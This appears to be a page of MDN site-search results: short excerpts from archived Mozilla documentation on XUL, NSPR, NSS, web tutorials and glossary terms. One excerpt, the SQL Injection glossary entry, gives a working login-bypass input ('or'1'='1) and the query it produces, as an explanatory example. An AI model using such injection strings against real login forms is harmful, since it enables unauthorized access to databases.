...this example is what the final xul overlay could look like, assuming a javascript overlay titled overlay.js: <?xml version="1.0" encoding="utf-8"?> <overlay id="htmltip-overlay" xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul" xmlns:html="http://www.w3.org/1999/xhtml"> <script type="application/x-javascript" src="overlay.js"/> <popup id="contentareacontextmenu"> <menuitem id="htmltip1" label="foo1" onmouseover="htmltip.onmousetooltip(event)" tooltip="myhtmltip" /> <menuitem id="htmltip2" label="foo2" onmouseover="htmltip.onmousetooltip(event)" tooltip="myhtmltip" /> </popup> <popupset id="mainpopupset"> <tooltip...
...our customized tooltiphtml attribute for each element can be set at any time.
...And 5 more matches
JavaScript Debugger Service - Archive of obsolete content
snippets acquiring the service we acquire the service by calling the xpcom object.
...nscriptdestroyed: function(script) { // your function here } }; jsd.errorhook = { onerror: function(message, filename, lineno, colno, flags, errnum, exc) { // your function here } }; // triggered when jsd.errorhook[onerror] returns false jsd.debughook = { onexecute: function(frame, type, rv) { // your function here } }; jsd.enumeratescripts({ // the enumeratescript method will be called once for every script jsd knows about enumeratescript: function(script) { // your function here } }); a simple stack trace here, we will show how to implement a simple javascript stack trace using the jsd.
... note that onerror is called for every exception.
...And 5 more matches
Sidebar - Archive of obsolete content
you can use this function to show, hide, or toggle sidebars.
... web panels sidebar content such as web pages can be safely loaded as sidebar in the "viewwebpanelssidebar".
...a web page can use window.sidebar to create bookmark with that property.
...And 5 more matches
Code snippets - Archive of obsolete content
this is a quick list of useful code snippets (small code samples) available for developers of extensions for the various mozilla applications.
... many of these samples can also be used in xulrunner applications, as well as in actual mozilla code itself.
...xml file i/o code used to read, write and process files drag & drop code used to setup and handle drag and drop events dialogs code used to display and process dialog boxes alerts and notifications modal and non-modal ways to notify users preferences code used to read, write, and modify preferences js xpcom code used to define and call xpcom components in javascript running applications code used to run other applications <canvas> related what wg canvas-related code signing a xpi how to sign an xpi with pki delayed execution performing background operations.
...And 5 more matches
Introducing the Audio API extension - Archive of obsolete content
the audio data api extension extends the html5 specification of the <audio> and <video> media elements by exposing audio metadata and raw audio data.
... deprecated since gecko 22 (firefox 22 / thunderbird 22 / seamonkey 2.19)this feature has been removed from the web standards.
...this api has been deprecated since gecko 22, disabled since gecko 28, and removed from gecko 31.
...And 5 more matches
Metro browser chrome tests - Archive of obsolete content
for information on setting your local build as the default, visit the windows 8 integration wiki page.
...each test can have start up and tear down logic, plus the body of the test contained in run().
... the test file can contain other functions which will be ignored unless invoked by test().
...And 5 more matches
Merging TraceMonkey Repo - Archive of obsolete content
conflicting files can be listed via hg resolve -l.
... exercise caution, because leaving off the -l will re-merge and lose all of the resolutions you've already performed.
...otherwise, you can run hg parents filename to find the changesets which may have contributed to the conflict.
...And 5 more matches
Abc Assembler Tests - Archive of obsolete content
the assembler code can be found in /utils/abcasm.
... tests can be found in /test/acceptance/abcasm and end with the .abs extension.
... when run, the assembler tests include the abcasm/abs_helper.as file which defines the following functions: start(summary:string):void - start a new test section described by summary end():void - test section finished compare_stricteq(name:string, expected:*, actual:*):void - compare the results of a testcase where name is the testcase name compare_typeerror(name:string, expected:*, actual:*):void - special function for comparing typeerrors (runtimeerrors) - will only compare the first 22 chars of expected and actual so that test can be run in release and releasedebugger configurations.
...And 5 more matches
command - Archive of obsolete content
ArchiveMozillaXULEventscommand
how it is activated varies for each element and in many cases, there are several ways to activate an element.
... for example, a button can be activated by clicking on it with the mouse or by pressing space while it has the focus.
... menus can be activated by selecting them with the mouse or by pressing a shortcut key.
...And 5 more matches
Uploading and Downloading Files - Archive of obsolete content
there are alternative xpcom apis you can use, your help in updating this pages to use the supported api is very much welcome!
... the io object and stream objects can be used to upload files to servers in various ways.
...when the user selects a file, it can be uploaded to a server.
...And 5 more matches
findbar - Archive of obsolete content
« xul reference home [ examples | attributes | properties | methods | related ] in gecko 1.9, the findbar widget moved into toolkit, so it's available to any xul application, as well as extensions.
... attributes browserid, findnextaccesskey, findpreviousaccesskey, highlightaccesskey, matchcaseaccesskey properties browser, findmode methods close, onfindagaincommand, open, startfind, togglehighlight example <browser type="content-primary" flex="1" id="content" src="about:blank"/> <findbar id="findtoolbar" browserid="content"/> attributes browserid type: string the id of the browser element to which the findbar is attached.
... matchcaseaccesskey type: string the access key for the "match case" checkbox in the findbar.
...And 5 more matches
Using the standard theme - Archive of obsolete content
you can either provide a complete custom styling, but most of the time you also want to be able to reuse the standard theme (also called the "global skin") of the base application for non-custom elements, transparently with regard to which theme the user has currently chosen.
...meaning, some internal default will be applied, which does by no means correspond to the standard theme (the theme currently chosen by the user in the theme selector), or even the default theme delivered with your the base application.
... applying the standard theme in order to use the theme currently chosen by the user of the base application (the so called "global skin"), you have to add the following line to your xul file: <?xml-stylesheet href="chrome://global/skin/" type="text/css"?> this imports the styles found in the <tt>global/skin</tt> chrome directory and will make the standard xul widgets of your application use the selected chosen theme.
...And 5 more matches
attribute.align - Archive of obsolete content
for boxes that have horizontal orientation, it specifies how its children will be aligned vertically.
... for boxes that have vertical orientation, it is used to specify how its children are algined horizontally.
...you can also specify the value of align using the style property -moz-box-align.
...And 5 more matches
colorpicker - Archive of obsolete content
attributes disabled, color, onchange, preference, tabindex, type properties accessibletype, color, disabled, open, tabindex, value examples <colorpicker/> attributes disabled type: boolean indicates whether the element is disabled or not.
...if the element is disabled, it does not respond to user actions, it cannot be focused, and the command event will not fire.
... in the case of form elements, it will not be submitted.
...And 5 more matches
image - Archive of obsolete content
ArchiveMozillaXULimage
the src attribute can be used to specify the url of the image.
... image.onload type: script code this event handler will be called on the image element when the image has finished loading.
... validate type: one of the values below this attribute indicates whether to load the image from the cache or not.
...And 5 more matches
prefpane - Archive of obsolete content
in this latter case, the separate file should use an overlay tag as its root tag since it will be loaded as an overlay to the main preferences window.
... onpaneload type: script code code defined here is called when the pane has been loaded, much like the load event for a window.
... loaded indicates whether the pane is fully loaded.
...And 5 more matches
richlistitem - Archive of obsolete content
attributes disabled, searchlabel, selected, tabindex, value properties accessible, control, disabled, label, selected, tabindex, value examples (example needed) attributes disabled type: boolean indicates whether the element is disabled or not.
...if the element is disabled, it does not respond to user actions, it cannot be focused, and the command event will not fire.
... in the case of form elements, it will not be submitted.
...And 5 more matches
triple - Archive of obsolete content
« xul reference home [ examples | attributes | properties | methods | related ] a triple can be included inside a rule's conditions element.
...the predicate would be a child element or property.
... for example, for a bookmark resource, the name and url would be predicates.
...And 5 more matches
CommandLine - Archive of obsolete content
handling command line arguments with xulrunner for multiple instances application it's fairly easy to retrieve application specific command line arguments in xulrunner when it's not a single instance application.
... an nsicommandline object is passed as the first argument of the launched window: example var cmdline = window.arguments[0]; cmdline = cmdline.queryinterface(components.interfaces.nsicommandline); alert(cmdline.handleflagwithparam("test", false)); see also: chrome: command line for single instance applications of course, for a single instance application (see toolkit.singletonwindowtype for more information), the last example still applies the first time your application is launched.
... define your own command line handler component: components/clh.js const nsisupports = components.interfaces.nsisupports; const nsicategorymanager = components.interfaces.nsicategorymanager; const nsicomponentregistrar = components.interfaces.nsicomponentregistrar; const nsicommandline = components.interfaces.nsicommandline; const nsicommandlinehandler = components.interfaces.nsicommandlinehandler; const nsifactory = components.interfaces.nsifactory; const nsimodule = component...
...And 5 more matches
Custom app bundles for Mac OS X - Archive of obsolete content
mac os x applications are typically packaged as application bundles which are then distributed in .dmg (disk image) files.
... this tutorial will show you how to package your xulrunner-based application in a way which is consistent with the expectations of mac os x users.
... application bundle layout application bundles are essentially just directory structures that conform to a standard layout and naming convention.
...And 5 more matches
Mozprofile - Archive of obsolete content
mozprofile is a python tool for creating and managing profiles for mozilla's applications (firefox, thunderbird, etc.).
... in addition to creating profiles, mozprofile can install addons and set preferences.
... mozprofile can be utilized from the command line or as an api.
...And 5 more matches
2006-11-03 - Archive of obsolete content
discussions extended validation certificates major discussion this week started by gervase markham about security certificates, more specifically extended validation certificates.
... the aim of the group is to develop a new, higher standard for the validation which is done before certificate issuance, called extended validation.
... the idea was that such certs would be presented differently in the ui, to give the cas a reason to go to the extra effort, and to give customers a reason to buy them.
...And 5 more matches
NPN_PostURLNotify - Archive of obsolete content
« gecko plugin api reference « plug-in side plug-in api summary posts data to a url, and receives notification of the result.
... buf path to local temporary file or data buffer that contains the data to post.
...values: true: post the local file whose path is specified in buf, then delete the file.
...And 5 more matches
.htaccess ( hypertext access ) - Archive of obsolete content
file accessing : htaccess files can be opened using any text editor, like windows notepad, vin, sublime text editor or any other.
... common application url redirects & rewrite: htaccess files are often used to redirect traffic to a web page to another or from traffic to a directory to another even between domains is possible.
... it's a fast and efficient way of redirecting traffic, because the redirect happens before the pages are served.
...And 5 more matches
Browser Feature Detection - Archive of obsolete content
browser sniffing via api name detection the following tables list the api names defined for specific w3c dom apis and lists the percentage of names that your browser actually defines followed by a list of each of the api names tested along with an indication of whether the name was defined for your browser.
... it is clear from these test results that netscape 7.0x and mozilla firefox have the greatest dom support although internet explorer, safari, and opera have sufficient dom css 1 and dom level 1 & 2 document property and method support to enable cross browser web development.
... test summary standard netscape 7.0x firefox 1.5 safari 2 opera 7 / 8.5-9.0 internet explorer 6 / 7 dom core 1 100% 100% 100% 75% / 91% 75% / 75% dom core 2 100% 100% 100% 70% / 94% 58% / 58% dom 1 html 100% 100% 100% 100% / 100% 100% / 100% dom css 1 100% 100% 100% 100% / 100% 96% / 96% dom css 2 100% 98% 67% 71% / 83% 38% / 42% test results cross reference dom core level 1 support for properties/methods in document name firefox 1.5 ie 6 & 7 opera 8.54 - 9.01 document.doctype true true true document.implementation true true true document.documentelement true true ...
...And 5 more matches
Accessing XML children - Archive of obsolete content
« previousnext » accessing xml children warning: e4x is deprecated.
...you can remove a child node by using the delete command: var elem = <foo> <bar/> <baz/> </foo> delete elem.bar; leaves just <foo> <baz/> </foo> the .
... operator can also be used to replace particular child nodes var elem1 = <foo> <bar/> </foo>; var elem2 = <red> <blue/> </red>; elem1.bar = elem2; replaces the <bar/> element with all of the content in elem2, giving: <foo> <red> <blue/> </red> <foo> xml lists many times, however, a single element will have two or more children of the same type.
...And 5 more matches
Array.unobserve() - Archive of obsolete content
the array.unobserve() method was used to remove observers set by array.observe(), but has been deprecated and removed from browsers.
... you can use the more general proxy object instead.
... syntax array.unobserve(arr, callback) parameters arr the array to stop observing.
...And 5 more matches
New in JavaScript 1.1 - Archive of obsolete content
the following is a changelog for javascript from netscape navigator 2.0 to 3.0.
... the old netscape documentation references this as "features added after version 1".
... netscape navigator 3.0 was released on august 19, 1996.
...And 5 more matches
New in JavaScript - Archive of obsolete content
this chapter contains information about javascript's version history and implementation status for mozilla/spidermonkey-based javascript applications, such as firefox.
... javascript versions deprecated ( ).
... javascript was released as version 1.0 in march 1996 in netscape navigator 2.0 and internet explorer 2.0.
...And 5 more matches
LiveConnect - Archive of obsolete content
liveconnect provides javascript with the ability to call methods of java classes and vice-versa using the existing java infrastructure.
...you can still embed java applets and access their api from javascript.
... mailing list newsgroup rss feed related topics javascript, plugins older notes (please update or remove as needed.) while the bloated liveconnect code in the mozilla source was removed in version 1.9.2 of the platform (see bug 442399), its former api has been restored (see also the specification and this thread) (building on npapi?), and as of java 6 update 12, extensions as well as applets can make use of this restored api.
...And 5 more matches
JavaClass - Archive of obsolete content
the liveconnect java, sun, and netscape objects provide shortcuts for commonly used java packages and also create javaclass objects.
... description a javaclass object is a reference to one of the classes in a java package, such as netscape.javascript.jsobject.
... a javapackage object is a reference to a java package, such as netscape.javascript.
...And 5 more matches
Parsing microformats in JavaScript - Archive of obsolete content
methods datetimegetter() specifically retrieves a date from a microformat node.
...emailgetter() specifically retrieves an email address from a microformat node.
... return value an object containing a function you can call to get the string and the html.
...And 5 more matches
Build the brick field - Game development
« previousnext » this is the 6th step out of 10 of the gamedev canvas tutorial.
... you can find the source code as it would look after completing this lesson at gamedev-canvas-workshop/lesson6.html.
...var brickrowcount = 3; var brickcolumncount = 5; var brickwidth = 75; var brickheight = 20; var brickpadding = 10; var brickoffsettop = 30; var brickoffsetleft = 30; here we've defined the number of rows and columns of bricks , their width and height, the padding between the bricks so they won't touch each other and a top and left offset so they won't start being drawn right from the edge of the canvas.
...And 5 more matches
Buttons - Game development
you can find the source code as it should look after completing this lesson at gamedev-phaser-content-kit/demos/lesson15.html.
... instead of starting the game right away we can leave that decision to the player by adding a start button they can press.
...add these lines below your other variable definitions: var playing = false; var startbutton; loading the button spritesheet we can load the button spritesheet the same way we loaded the ball's wobble animation.
...And 5 more matches
Visual JS GE - Game development
visual-js gameengine is a small but comprehensive canvas/websocket-based game engine with gui source editor only for windows.
... the server is based on node.js vs mysql, the client made in four variant on a javascript frameworks for 2d canvas js , three.js , webgl2 vs glmatrix and 2d canvas with matter.js in typescript to complete the stack.
... installing modules navigate to server_instance/, then in the node.js command prompt or console enter the following installation commands: npm install mysql npm install delivery npm install express npm install mkdirp npm install socket.io npm install nodemailer@0.7.0 setting up config.js you will find config.js in the server_instance folder: all node.js applications use the same folder — server_instance.
...And 5 more matches
Function - MDN Web Docs Glossary: Definitions of Web-related terms
a function is a code snippet that can be called by other code or by itself, or a variable that refers to the function.
... when a function is called, arguments are passed to the function as input, and the function can optionally return a value.
...only function expressions can be anonymous, function declarations must have a name: // when used as a function expression (function () {}); // or using the ecmascript 2015 arrow notation () => {}; the following terms are not used in the ecmascript language specification, they're jargon used to refer to different types of functions.
...And 5 more matches
IDL - MDN Web Docs Glossary: Definitions of Web-related terms
the content attribute is the attribute as you set it from the content (the html code) and you can set it or get it via element.setattribute() or element.getattribute().
...for example, to set an <input> element's maxlength to 42 using the content attribute, you have to call setattribute("maxlength", "42") on that element.
...these are the attributes you can read or set using javascript properties like element.foo.
...And 5 more matches
SQL Injection - MDN Web Docs Glossary: Definitions of Web-related terms
hackers can maliciously pass sql commands through the web app for execution by a backend database.
... sql injection can gain unauthorized access to a database or to retrieve information directly from the database.
... hackers use a simple string called a magical string, for example: username: admin password: anything 'or'1'='1 after clicking on the login button, the sql query will work as follows: "select count(*) from users where username=' admin ' and password=' anything 'or'1'='1 ' "; just take a closer look at the above query's password section.
...And 5 more matches
Test your skills: Overflow - Learn web development
note: you can try out solutions in the interactive editors below, however, it may be helpful to download the code and use an online tool such as codepen, jsfiddle, or glitch to work on the tasks.
... task one the content is overflowing the box because it has a fixed height.
... keep the height but cause the box to have scrollbars only if there is enough text to cause an overflow.
...And 5 more matches
Test your skills: sizing - Learn web development
note: you can try out solutions in the interactive editors below, however, it may be helpful to download the code and use an online tool such as codepen, jsfiddle, or glitch to work on the tasks.
...the first should be sized so that the height will be at least 100 pixels tall, even if there is less content than would cause it to grow to that height, however, the content should not overflow if there is more content than fits in 100 pixels.
...you should also give the inner box padding of 10% using the width (or inline size) as the size from which that percentage is calculated.
...And 5 more matches
Test your skills: floats - Learn web development
note: you can try out solutions in the interactive editors below, however it may be helpful to download the code and use an online tool such as codepen, jsfiddle, or glitch to work on the tasks.
...you can see the desired result in this image.
...use the most up to date method available to cause the box background to extend to below the float as in the image.
...And 5 more matches
Test your skills: Grid Layout - Learn web development
note: you can try out solutions in the interactive editors below, however it may be helpful to download the code and use an online tool such as codepen, jsfiddle, or glitch to work on the tasks.
...by editing the css rules for the two child elements, cause them to span over several grid tracks each; the second item should overlay the first as in the image below.
... try updating the live code below to recreate the finished example: additional questions: can you now cause the first item to display on top without changing the order of items in the source?
...And 5 more matches
How do you host your website on Google App Engine? - Learn web development
google app engine is a powerful platform that lets you build and run applications on google’s infrastructure — whether you need to build a multi-tiered web application from scratch or host a static website.
... creating an application each cloud platform project can contain one app engine application.
... we'll need a sample application to publish.
...And 5 more matches
What software do I need to build a website? - Learn web development
summary you can download most of the programs you need for web development for free.
... you'll need tools to: create and edit webpages upload files to your web server view your website nearly all operating systems by default include a text editor and a browser, which you can use to view websites.
...you can buy space on a server from various providers (see how much does it cost to do something on the web?).
...And 5 more matches
Test your skills: HTML5 controls - Learn web development
note: you can try out solutions in the interactive editors below, however it may be helpful to download the code and use an online tool such as codepen, jsfiddle, or glitch to work on the tasks.
...give it a class of invite-output, and semantically associate it with the input.
... if you do this correctly, the javascript included on the page will automatically update the output value when the slider is moved.
...And 5 more matches
Web forms — Working with user data - Learn web development
however, for historical and technical reasons it's not always obvious how to use them to their full potential.
... the above text is a good indicator as to why we've put web forms into its own standalone module, rather than trying to mix bits of it into the html, css, and javascript topic areas — form elements are more complex than most other html elements, and they also require a close marriage of related css and javascript techniques to get the most out of them.
... validating and submitting form data client-side form validation sending data is not enough — we also need to make sure that the data users enter into forms is in the correct format to process it successfully, and that it won't break our applications.
...And 5 more matches
Web performance resources - Learn web development
best practices start with learning the critical rendering path of the browser.
... use a cdn for resources which can reduce load times significantly.
... lazy loading parts of your application outside the viewport.
...And 5 more matches
Vue resources - Learn web development
previous overview: client-side javascript frameworks next now we'll round off our study of vue by giving you a list of resources that you can use to go further in your learning, plus some other useful tips.
...this is where you can report issues and/or contribute directly to the vue codebase.
... studying the vue source code can help you better understand how the framework works, and write better code.
...And 5 more matches
Embedding API for Accessibility
text zoom on a per-window basis the nsidomwindow::gettextzoom(float *zoomfactor) and nsidomwindow::settextzoom(float zoomfactor) methods can be used to set a wide range of text zoom factors on a content window.
...be aware that in debug builds, this can cause a great number of assertions (bug 71598) to use prefs in embedding, use something like the following code: #include "nsipref.h"; nsresult rv; nscomptr<nsipref> prefs(do_getservice(ns_pref_contractid, &rv)); prefs->setboolpref("bool.pref.name", pr_true /* or pr_false */); prefs->setintpref("int.pref.name", newvalue); prefs->setcharpref("string.pref.name", newcharstarvalue); to manua...
...lly add a pref to your settings, add a line like the following to your prefs.js: user_pref("accessibility.browsewithcaret", true); accessibility prefs reference the following is a description of what accessibility prefs give us (or will give us), for accessibility: functionality implementation works as of images setintpref("network.image.imagebehavior", behavior); /* behavior: 0=accept, 1=accept images from originating server only, 2=no images */ moz 0.8 cookies setintpref("network.cookie.cookiebehavior", behavior); /* behavior: 0=accept, 1=accept cookies from originat...
...And 5 more matches
Accessibility and Mozilla
we are optimistic that jaws support will catch up this year.
... in recent articles from both afb's access world and nfb's voice of the nation's blind, reviewers found no significant roadblocks in moving to firefox from internet explorer for screen reader users.
... in fact, the same keyboard commands are still available, so users can become comfortable and productive right away.accessibility information for core gecko developersboth end users and developers are invited for discussion on the live irc channel at irc.mozilla.org/#accessibility.
...And 5 more matches
Index
the content you add to a listing is therefore vital: from making effective use of keywords in your descriptions, to get visibility in external search engine results, through having an icon that attracts a user’s attention from a category list, to screenshots that show how useful your add-on is.
... 676 index add-ons, glossary, guide, index found 689 pages: 677 signing and distributing your add-on add-ons, extensions, webextensions, distribution, publication, reviews, signing add-ons need to be signed before they can be installed into release and beta versions of firefox.
... 678 make money from browser extensions guide, monetization, webextensions, distribution while users can download browser extensions for firefox free of cost from addons.mozilla.org (amo), this doesn’t mean you can’t make money from browser extensions, and to a more limited extent themes.
...And 5 more matches
Lightweight themes
you can submit it right now!
... ultrawide monitors can run to 3440px wide, to look good on these monitors, ensure the left of the image fades to a solid color.
...duplicate names are not allowed, so you may need to try a few times to find a unique name.
...And 5 more matches
Benchmarking
rust optimization level local optimized builds are compiled with rust optimization level 1 by default, unlike nightly builds, which use rust optimization level 2.
... this setting reduces build times significantly but comes with a serious hit to runtime performance for any rust code (for example stylo and webrender).
... add the following to your mozconfig in order to build with level 2: ac_add_options rustc_opt_level=2 gc poisoning many firefox builds have a diagnostic tool that causes crashes to happen sooner and produce much more actionable information, but also slow down regular usage substantially.
...And 5 more matches
Debugging JavaScript
this shows any javascript errors in your app, as well as any logging calls from the console api.
... you can also start the browser console when you launch firefox, by launching firefox from the command line and passing --jsconsole as a flag: /path/to/firefox --jsconsole log to the browser console using the standard console api after importing console.jsm: let console = (cu.import("resource://gre/modules/console.jsm", {})).console; console.log("hello from firefox code"); error console this is obsolete and is n...
... go to about:config and set the following two prefs: devtools.chrome.enabled: true devtools.debugger.remote-enabled: true after you restart the browser, you can access the browser debugger through tools > web developer > browser toolbox.
...And 5 more matches
Debugging Table Reflow
it can be invoked by set gecko_block_debug_flags=reflow the available options are: reflow really-noisy-reflow max-element-size space-manager verify-lines damage-repair lame-paint-metrics lame-reflow-metrics disable-resize-opt these options can be combined with a comma separated list messages generated by the reflow switch: block(div)(1)@00be5ac4: reflowing dirty lines computedwidth=9000 computedheight=1500 this message is generated inside of nsresult nsb...
... debug_table_strategy editor's note: the following examples are not shown correctly due to the wiki's technical constraint.
... the table layout strategy can be visualized by defining in the makefiles the constant debug_table_strategy.if one takes for instance the following table code: <table border width="300"> <colgroup> <col> <col width="50%"> <col width="1*"> <col> </colgroup> <tr> <td style="width:80px">cell 1</td> <td>cell 2</td> <td>cell 3</td> <td>cell 4</td> </tr> </table> rendering: <colgroup><col><col width="50%"><col width="1*"><col></colgroup>cell 1cell 2cell 3cell 4 it will produce the following log at the entrance of assignnonpctcolwidths: assignnonpctcolwidths en max=4500 count=0 ***start table dump*** mcolwidths=-1 -1 -1 -1 col frame cache -> 0=00b93138 1=00b931f0 2=024dd728 3=024dd780 **start col dump** colindex=0 isanonymous=0 constraint=0 widths=-1 -1 -1 -1 -1 -1 -1...
...And 5 more matches
Adding APIs to the navigator object
starting with gecko 9.0 (firefox 9.0 / thunderbird 9.0 / seamonkey 2.6), you can easily add new apis to the window.navigator object by using the category manager.
... simply add an entry to the "javascript-navigator-property" category.
...you can read about creating and registering xpcom components in javascript.
...And 5 more matches
MozBeforePaint
you can determine this value by looking at window.mozanimationstarttime.
... this new property indicates the time, in milliseconds since epoch, at which all animations started in the specified window during the current refresh interval should be considered to have started running.
... with that value in hand, you can then schedule all your subsequent animation frames.
...And 5 more matches
Webapps.jsm
the webapps.jsm modules exposes the domapplicationregistry, which is responsible for managing all of the open web apps.
... importing components.utils.import("resource://gre/modules/webapps.jsm"); // exported symbol is domapplicationregistry method overview init: function() loadcurrentregistry: function() notifyappsregistrystart: function notifyappsregistrystart() notifyappsregistryready: function notifyappsregistryready() sanitizeredirects: function sanitizeredirects(asource) _savewidgetsfullpath: function(amanifest, adestapp) appkind: function(aapp, amanifest) updatepermissionsforapp: function(aid, aispreinstalled) updateofflinecacheforapp: function(aid) installpreinstalledapp: function installpreinstalledapp(aid) removeifhttpsduplicate: function(aid) installsystemapps: function() loadandupdateapps: function() updatedatastore: function(aid, aorigin, amanifesturl, amanifest) _registersystem...
...sforapps: function(aappstounregister) _unregisteractivities: function(amanifest, aapp) _processmanifestforids: function(aids, arunupdate) observe: function(asubject, atopic, adata) addmessagelistener: function(amsgnames, aapp, amm) removemessagelistener: function(amsgnames, amm) formatmessage: function(adata) receivemessage: function(amessage) getappinfo: function getappinfo(aappid) broadcastmessage: function broadcastmessage(amsgname, acontent) registerupdatehandler: function(ahandler) unregisterupdatehandler: function(ahandler) notifyupdatehandlers: function(aapp, amanifest, azippath) _getappdir: function(aid) _writefile: function(apath, adata) dogetlist: function() doexport: function(amsg, amm) doimport: function(amsg, amm) doextractmanifest: function(amsg, amm) dolaunc...
...And 5 more matches
L10n testing with xcode
setting up your l10n testing environment once you have your l10n testing environment set up in xcode, testing your firefox on ios localization is a breeze.
... select the client project in the left pane and choose editor > import localizations from the toolbar and select your localized xliff file.
... next, you need to configure the ios app simulator to run the app in your locale.
...And 5 more matches
Mozilla Quirks Mode Behavior
in quirks mode css class and id names are case insensitive.
... in standards mode they are case sensitive.
... html (1-7) and css (xx-small - xx-large) font sizes are calculated slightly differently (see bug 18136).
...And 5 more matches
Preference reference
set it to true to enable it, or false to disable it.browser.dom.window.dump.filebrowser.dom.window.dump.file redirects the ouput of window.dump() calls to a file whose address is specified in this preference if browser.dom.window.dump.enabled is set to true.
... changes require an application restart.browser.download.lastdir.savepersitebrowser.download.lastdir.savepersite controls whether the directory preselected in the file picker for saving a file download is being remembered on a per-website (host) base.
... if set to true, the data is stored as content preference.browser.pagethumbnails.capturing_disabledthe preference browser.pagethumbnails.capturing_disabled controls whether the application creates screenshots of visited pages which will be shown if the web page is shown in the grid of the "new tab page" (about:newtab) which offers the most often visited pages for fast navigation.browser.search.context.loadinbackgroundbrowser.search.context.loadinbackground controls whether a search from the context menu with "search <search engine> for <selected text>" opening a new tab will give focus to it and load it in the foreground or keep focus on the current tab and open it in the background.browser.urlbar.formatting.enabledthe preference browser.urlbar.formatting.enabled controls whether the domain ...
...And 5 more matches
PRSockOption
syntax #include <prio.h> typedef enum prsockoption { pr_sockopt_nonblocking, pr_sockopt_linger, pr_sockopt_reuseaddr, pr_sockopt_keepalive, pr_sockopt_recvbuffersize, pr_sockopt_sendbuffersize, pr_sockopt_iptimetolive, pr_sockopt_iptypeofservice, pr_sockopt_addmember, pr_sockopt_dropmember, pr_sockopt_mcastinterface, pr_sockopt_mcasttimetolive, pr_sockopt_mcastloopback, pr_sockopt_nodelay, pr_sockopt_maxsegment, pr_sockopt_last } prsockoption; enumerators the enumeration has the following enumerators: pr_sockopt_nonblocking nonblocking i/o.
... pr_sockopt_reuseaddr allow local address reuse.
... pr_sockopt_keepalive periodically test whether connection is still alive.
...And 5 more matches
PRSocketOptionData
syntax #include <prio.h> typedef struct prsocketoptiondata { prsockoption option; union { pruintn ip_ttl; pruintn mcast_ttl; pruintn tos; prbool non_blocking; prbool reuse_addr; prbool keep_alive; prbool mcast_loopback; prbool no_delay; prsize max_segment; prsize recv_buffer_size; prsize send_buffer_size; prlinger linger; prmcastrequest add_member; prmcastrequest drop_member; prnetaddr mcast_if; } value; } prsocketoptiondata; fields the structure has the following fields: ip_ttl ip time-to-live.
... mcast_ttl ip multicast time-to-live.
... reuse_addr allow local address reuse.
...And 5 more matches
PR_FindSymbolAndLibrary
syntax #include <prlink.h> void* pr_findsymbolandlibrary ( const char *name, prlibrary **lib); parameters the function has these parameters: name the textual representation of the symbol to locate.
... lib a reference to a location at which the runtime will store the library in which the symbol was discovered.
... this location must be pre-allocated by the caller.
...And 5 more matches
PR_InitializeNetAddr
the storage for the network address structure is allocated by, and remains the responsibility of, the calling client.
...you can retrieve the reason for the failure by calling pr_geterror.
... description pr_initializenetaddr allows the assignment of special network address values and the port number, while also setting the state that indicates the version of the address being used.
...And 5 more matches
PR_Seek
deprecated in favor of pr_seek64.
...a negative value causes seeking in the reverse direction.
...the value for the whence parameter can be one of the following: pr_seek_set.
...And 5 more matches
PR_WaitCondVar
the value pr_interval_no_wait causes the thread to release the lock, possibly causing a rescheduling within the runtime, then immediately attempt to reacquire the lock and resume.
... if unsuccessful (for example, if the caller has not locked the lock associated with the condition variable or the thread was interrupted with pr_interrupt), pr_failure.
... the details can be determined with pr_geterror.
...And 5 more matches
NSS_3.12.1_release_notes.html
caller chooses encoding rules.
... cert_encodesubjectkeyid (see cert.h) encode certificate skid (subject key id) extension.
... pk11_getallslotsforcert (see pk11pub.h) pk11_getallslotsforcert returns all the slots that a given certificate exists on, since it's possible for a cert to exist on more than one pkcs#11 token.
...And 5 more matches
NSS_3.12.2_release_notes.html
bug 200704: pkcs11: invalid session handle 0 bug 205434: fully implement new libpkix cert verification api from bug 294531 bug 302670: use the installed libz.so where available bug 305693: shlibsign generates pqg for every run bug 311483: exposing includecertchain as a parameter to sec_pkcs12addcertandkey bug 390527: get rid of pkixerrormsg variable in pkix_error bug 391560: libpkix does not consistently return pkix_validatenode tree that truly represent failure reasons bug 408260:...
... certutil usage doesn't give enough information about trust arguments bug 412311: replace pr_interval_no_wait with pr_interval_no_timeout in client initialization calls bug 423839: add multiple pkcs#11 token password command line option to nss tools.
... bug 432260: [[@ pkix_pl_httpdefaultclient_hdrcheckcomplete - pkix_pl_memcpy] crashes when there is no content-length header in the http response bug 436599: pkix: aia extension is not used in some bridge ca / known certs configuration bug 437804: certutil -r for cert renewal should derive the subject from the cert if none is specified.
...And 5 more matches
NSS 3.16.4 release notes
nss 3.16.4 source distributions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_16_4_rtm/src/ new in nss 3.16.4 this release consists primarily of ca certificate changes as listed below, and includes a small number of bug fixes.
... notable changes in nss 3.16.4 the following 1024-bit root ca certificate was restored to allow more time to develop a better transition strategy for affected sites.
... cn = gte cybertrust global root sha1 fingerprint: 97:81:79:50:d8:1c:96:70:cc:34:d8:09:cf:79:44:31:36:7e:f4:74 in nss 3.16.3, the 1024-bit "entrust.net secure server certification authority" root ca certificate (sha1 fingerprint: 99:a6:9b:e6:1a:fe:88:6b:4d:2b:82:00:7c:b8:54:fc:31:7e:15:39) was removed.
...And 5 more matches
NSS 3.20 release notes
nss 3.20 source distributions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_20_rtm/src/ new in nss 3.20 new functionality the tls library has been extended to support dhe ciphersuites in server applications.
... new functions in ssl.h ssl_dhegroupprefset - configure the set of allowed/enabled dhe group parameters that can be used by nss for a server socket.
... new types in sslt.h ssldhegrouptype - enumerates the set of dhe parameters embedded in nss that can be used with function ssl_dhegroupprefset new macros in ssl.h ssl_enable_server_dhe - a socket option user to enable or disable dhe ciphersuites for a server socket notable changes in nss 3.20 the tls library has been extended to support dhe ciphersuites in server applications.
...And 5 more matches
NSS 3.23 release notes
clients that perform a version downgrade (which is a dangerous practice) call this with the highest version number that they possibly support.
... the build time environment variable nss_disable_chachapoly was added, which can be used to prevent compilation of the chacha20/poly1305 code.
